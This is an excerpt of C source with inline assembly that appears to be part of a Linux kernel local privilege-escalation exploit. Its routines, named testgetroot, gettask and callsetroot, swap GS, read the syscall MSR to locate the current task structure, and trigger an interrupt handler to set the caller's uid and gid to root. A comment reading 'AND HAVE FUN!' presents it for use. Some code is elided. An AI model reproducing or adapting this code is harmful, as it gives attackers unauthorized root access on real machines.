__used __kernel extern long callsetroot(long uid, long gid);

#define FN(x) ".globl " x "\n\t.type " x ",@function\n\t" x ":\n\t.cfi_startproc\n\t"
#define END ".cfi_endproc\n\t"
asm(
".text\n\t.align 4\n\t"
FN("testgetroot")
        // AND HAVE FUN! :D
#ifdef __x86_64__
        "swapgs\n\t"
        "call getroot\n\t"
        "swapgs\n\t"
        "iretq\n\t"
#else
        "mov %fs, %edi\n\t"
        "mov $0xd8, %esi\n\t"
        "mov %esi, %fs\n\t"
        "call getroot\n\t"
        "mov %edi, %fs\n\t"
        "iretl\n\t"
#endif
END

FN("gettask")
#ifdef __x86_64__
        // Grab some offsets from system_call
        "mov $0xc0000082, %ecx\n\t"
        "rdmsr\n\t"
        "movslq %eax, %rax\n\t"

[...]

        "1:\n\t"
        "cmpw $0x4865, 0x3(%rax)\n\t"
        "je 2f\n\t"
        "incq %rax\n\t"
        "jmp 1b\n\t"
        "2:\n\t"

        "movl 17(%rax), %edx\n\t"

        // blegh padding
        "3:\n\t"
        "addl $8, %edx\n\t"
        "movq %gs:(%edx), %rax\n\t"
        "test %eax, %eax\n\t"
        "jz 3b\n\t"
        "cmpl $-1, %eax\n\t"
        "je 3b\n\t"
#else
        // TODO: maybe..
        "xor %eax, %eax\n\t"
#endif
        "ret\n\t"
END

#define S2(x) #x
#define S1(x) S2(x)

FN("callsetroot")
#ifdef __x86_64__
        "int $" S1(ENTRY) "\n\t"
#else
        "push %edi\n\t"
        "push %esi\n\t"
        "int $" S1(ENTRY) "\n\t"
        "pop %esi\n\t"
        "pop %edi\n\t"
#endif
        "ret\n\t"
END

".previous");